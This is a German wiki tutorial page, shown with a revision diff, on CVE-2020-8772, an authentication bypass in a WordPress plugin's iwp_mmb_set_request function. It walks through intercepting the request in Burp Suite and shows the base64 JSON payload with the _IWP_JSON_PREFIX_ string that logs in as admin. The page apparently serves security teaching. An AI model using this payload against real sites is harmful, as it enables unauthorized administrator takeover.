Authentication Bypass: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 9: Zeile 9:
 
*Sobald die Payload diese Bedingungen erfüllt, wird der angegebene Benutzername-Parameter verwendet
 
*Sobald die Payload diese Bedingungen erfüllt, wird der angegebene Benutzername-Parameter verwendet
 
*DerAnforderer wird als diesen Benutzer angemeldet, ohne eine weitere Authentifizierung durchzuführen.
 
*DerAnforderer wird als diesen Benutzer angemeldet, ohne eine weitere Authentifizierung durchzuführen.
 
+
=Beispiel=
 +
[[Datei:Wp-hack.png]]
  
 
=Request=
 
=Request=

Version vom 26. Januar 2023, 16:49 Uhr

CVE

  • CVE-2020-8772

Vorbermerkung

  • Aufgrund logischer Fehler im Code ist es möglich, sich als beliebiger Administrator auf der Website anzumelden.
  • Das Problem liegt in der Funktion iwp_mmb_set_request, die sich in der Datei init.php befindet.
  • Dies prüft, ob das Array request_params der Kernklasse nicht leer ist, was nur in einer anderen Funktion gesetzt wird
  • Da passiert nur wenn gefüllt wird und wenn die Nutzlast bestimmte Bedingungen erfüllt
  • (in diesem Szenario sind die Aktionen readd_site und add_site die einzigen Aktionen, die keine haben Autorisierungsprüfung, weshalb dieses Problem besteht.)
  • Sobald die Payload diese Bedingungen erfüllt, wird der angegebene Benutzername-Parameter verwendet
  • DerAnforderer wird als diesen Benutzer angemeldet, ohne eine weitere Authentifizierung durchzuführen.

Beispiel

Wp-hack.png

Request

  • Laden Sie die Zielwebsite neu und fangen Sie die Anfrage mit der Burp Suite ab.
  • Klicken Sie mit der rechten Maustaste auf die Burp Suite und klicken Sie auf „Anfragemethode ändern“, um die Anfrage von GET in POST umzuwandeln.


Authentication-Bypass-Wordpress.png

Payload

  • Erstellen Sie die JSON Payload und konvertieren Sie sie in base64.
Payload: {"iwp_action":"add_site","params":{"username":"admin"}}
  • echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0
  • Hängen Sie den base64 generierte Payload an die Zeichenfolge _IWP_JSON_PREFIX_ an.
Payload: _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
  • Platzieren Sie den Payload als POST Argumente.

Authentication-Bypass-Wordpress2.png

  • Klicken Sie auf Forward und schalten Sie den Intercept aus.
  • Jetzt müssen wir die Seite einmal neuladen.



Links

Bypass